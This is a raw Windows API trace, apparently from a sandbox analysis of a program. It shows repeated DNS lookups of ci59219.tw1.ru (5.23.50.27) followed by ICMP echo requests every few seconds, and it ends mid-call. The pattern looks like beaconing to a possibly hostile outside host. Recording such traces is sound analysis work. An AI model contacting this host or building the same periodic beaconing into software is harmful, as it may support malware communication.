[0224.522] IcmpSendEcho2 (in: IcmpHandle=0x1d469ac0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d470d80, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x1 [0225.017] LocalFree (hMem=0x1d470d80) returned 0x0 [0225.018] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acce0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496ba0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0225.020] FreeAddrInfoW (pAddrInfo=0x1d4acce0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496ba0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0225.021] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d470c00 [0225.021] IcmpSendEcho2 (in: IcmpHandle=0x1d469ac0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d470c00, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x1 [0225.326] LocalFree (hMem=0x1d470c00) returned 0x0 [0230.418] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac120*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496500*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0230.423] FreeAddrInfoW (pAddrInfo=0x1d4ac120*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496500*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0230.423] IcmpCreateFile () returned 0x1d469b80 [0230.424] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e70cf40 [0230.424] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d470d80 [0230.424] IcmpSendEcho2 (in: IcmpHandle=0x1d469b80, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d470d80, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e70cf40, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e70cf40) returned 0x1 [0230.564] LocalFree (hMem=0x1d470d80) returned 0x0 [0230.564] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acf60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496b60*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0230.566] FreeAddrInfoW (pAddrInfo=0x1d4acf60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496b60*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0230.566] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471260 [0230.566] IcmpSendEcho2 (in: IcmpHandle=0x1d469b80, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471260, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e70cf40, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e70cf40) returned 0x1 [0230.759] LocalFree (hMem=0x1d471260) returned 0x0 [0230.759] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac860*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496500*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0230.762] FreeAddrInfoW (pAddrInfo=0x1d4ac860*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496500*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0230.762] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d470d80 [0230.762] IcmpSendEcho2 (in: IcmpHandle=0x1d469b80, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d470d80, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e70cf40, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e70cf40) returned 0x1 [0231.048] LocalFree (hMem=0x1d470d80) returned 0x0 [0236.124] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac520*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496ba0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0236.142] FreeAddrInfoW (pAddrInfo=0x1d4ac520*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496ba0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0236.143] IcmpCreateFile () returned 0x1b342230 [0236.262] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e6fce30 [0236.262] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471140 [0236.262] IcmpSendEcho2 (in: IcmpHandle=0x1b342230, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471140, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x1 [0236.557] LocalFree (hMem=0x1d471140) returned 0x0 [0236.558] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac7a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4965a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0236.662] FreeAddrInfoW (pAddrInfo=0x1d4ac7a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4965a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0236.662] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d4712c0 [0236.662] IcmpSendEcho2 (in: IcmpHandle=0x1b342230, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d4712c0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x1 [0237.060] LocalFree (hMem=0x1d4712c0) returned 0x0 [0237.061] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac9e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496560*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0237.064] FreeAddrInfoW (pAddrInfo=0x1d4ac9e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496560*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0237.064] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471650 [0237.064] IcmpSendEcho2 (in: IcmpHandle=0x1b342230, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471650, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x1 [0237.563] LocalFree (hMem=0x1d471650) returned 0x0 [0242.585] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac7e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496760*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0242.594] FreeAddrInfoW (pAddrInfo=0x1d4ac7e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496760*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0242.595] IcmpCreateFile () returned 0x1b342230 [0242.659] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e6fce30 [0242.659] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d470c00 [0242.659] IcmpSendEcho2 (in: IcmpHandle=0x1b342230, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d470c00, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x1 [0242.924] LocalFree (hMem=0x1d470c00) returned 0x0 [0242.925] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac0a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496d40*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0242.928] FreeAddrInfoW (pAddrInfo=0x1d4ac0a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496d40*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0242.928] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d470f60 [0242.928] IcmpSendEcho2 (in: IcmpHandle=0x1b342230, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d470f60, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x1 [0243.187] LocalFree (hMem=0x1d470f60) returned 0x0 [0243.188] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acf60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497360*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0243.190] FreeAddrInfoW (pAddrInfo=0x1d4acf60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497360*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0243.190] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d470c00 [0243.190] IcmpSendEcho2 (in: IcmpHandle=0x1b342230, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d470c00, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x0 [0243.402] LocalFree (hMem=0x1d470c00) returned 0x0 [0248.507] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acae0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4965a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0248.513] FreeAddrInfoW (pAddrInfo=0x1d4acae0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4965a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0248.513] IcmpCreateFile () returned 0x1b342290 [0248.540] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e6fce30 [0248.540] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d4712c0 [0248.540] IcmpSendEcho2 (in: IcmpHandle=0x1b342290, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d4712c0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x1 [0248.612] LocalFree (hMem=0x1d4712c0) returned 0x0 [0248.613] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acae0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4967e0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0248.615] FreeAddrInfoW (pAddrInfo=0x1d4acae0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4967e0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0248.615] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471080 [0248.615] IcmpSendEcho2 (in: IcmpHandle=0x1b342290, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471080, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x1 [0248.678] LocalFree (hMem=0x1d471080) returned 0x0 [0248.678] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac0a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4966c0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0248.680] FreeAddrInfoW (pAddrInfo=0x1d4ac0a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4966c0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0248.681] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d470b70 [0248.681] IcmpSendEcho2 (in: IcmpHandle=0x1b342290, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d470b70, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e6fce30, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e6fce30) returned 0x1 [0248.751] LocalFree (hMem=0x1d470b70) returned 0x0 [0253.795] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac1a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496580*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0253.804] FreeAddrInfoW (pAddrInfo=0x1d4ac1a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496580*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0253.805] IcmpCreateFile () returned 0x1e721460 [0253.811] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e76b370 [0253.811] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471920 [0253.811] IcmpSendEcho2 (in: IcmpHandle=0x1e721460, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471920, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e76b370, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e76b370) returned 0x1 [0253.893] LocalFree (hMem=0x1d471920) returned 0x0 [0253.893] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac1a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496080*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0253.896] FreeAddrInfoW (pAddrInfo=0x1d4ac1a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496080*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0253.896] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d4717d0 [0253.896] IcmpSendEcho2 (in: IcmpHandle=0x1e721460, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d4717d0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e76b370, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e76b370) returned 0x1 [0253.982] LocalFree (hMem=0x1d4717d0) returned 0x0 [0253.982] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac760*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496d40*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0253.985] FreeAddrInfoW (pAddrInfo=0x1d4ac760*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496d40*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0253.985] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d472040 [0253.985] IcmpSendEcho2 (in: IcmpHandle=0x1e721460, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d472040, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e76b370, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e76b370) returned 0x1 [0254.084] LocalFree (hMem=0x1d472040) returned 0x0 [0259.089] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ace60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496f00*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0259.093] FreeAddrInfoW (pAddrInfo=0x1d4ace60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496f00*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0259.093] IcmpCreateFile () returned 0x1e720f80 [0259.106] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e701ea0 [0259.106] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471320 [0259.107] IcmpSendEcho2 (in: IcmpHandle=0x1e720f80, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471320, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0259.305] LocalFree (hMem=0x1d471320) returned 0x0 [0259.305] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ace60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496ce0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0259.307] FreeAddrInfoW (pAddrInfo=0x1d4ace60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496ce0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0259.307] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d470ea0 [0259.307] IcmpSendEcho2 (in: IcmpHandle=0x1e720f80, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d470ea0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0259.545] LocalFree (hMem=0x1d470ea0) returned 0x0 [0259.546] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac0a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4973a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0259.548] FreeAddrInfoW (pAddrInfo=0x1d4ac0a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4973a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0259.548] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471020 [0259.548] IcmpSendEcho2 (in: IcmpHandle=0x1e720f80, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471020, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0259.650] LocalFree (hMem=0x1d471020) returned 0x0 [0264.691] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acae0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496e00*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0264.699] FreeAddrInfoW (pAddrInfo=0x1d4acae0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496e00*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0264.699] IcmpCreateFile () returned 0x1e720860 [0264.702] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e701ea0 [0264.702] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471950 [0264.702] IcmpSendEcho2 (in: IcmpHandle=0x1e720860, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471950, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x0 [0264.744] LocalFree (hMem=0x1d471950) returned 0x0 [0264.744] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, 